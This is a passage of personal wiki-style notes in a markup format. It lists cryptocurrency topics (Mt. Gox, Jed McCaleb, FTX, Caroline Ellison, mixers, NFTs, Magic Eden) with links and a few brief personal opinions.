Their creation is clearly visible on the archive history of <bitcoin.org>: https://web.archive.org/web/20100701000000*/bitcoin.org[] which started having massively more archives since <Mt. Gox> opened.

\Video[https://www.youtube.com/watch?v=tJ-TsrK6SuY]
{title=One Mistake Brought Down This <FBI> Most Wanted Hacker by Crumb (2023)}
{description=Good overview of <Mt. Gox>.}

= Jed McCaleb
{c}
{parent=Mt. Gox}

Interesting dude.

= FTX
{c}
{parent=List of cryptocurrency exchanges}
{wiki}

= Caroline Ellison
{c}
{parent=FTX}
{wiki}

= Cute boy things by Caroline Ellison
{c}
{synonym}

Some analysts seem to suggest that the things she said were bad.

But they're not.

They're a rare example of someone with some power saying cool honest stuff that comes across their mind.

Unlike the endless mandatory corporate bullshit we usually get otherwise.

= Cryptocurrency tumbler
{parent=Cryptocurrency}
{wiki}

= Cryptocurrency mixer
{synonym}

* https://www.theregister.com/2022/08/24/github_eff_tornado_cash/

= Non-fungible token
{parent=Cryptocurrency}
{wiki}

= NFT
{c}
{synonym}
{title2}

= NFT Marketplace
{c}
{parent=Non-fungible token}

= Magic Eden
{c}
{parent=NFT Marketplace}

https://cryptopotato.com/this-bitcoin-ordinals-inscription-was-sold-for-the-highest-price-ever/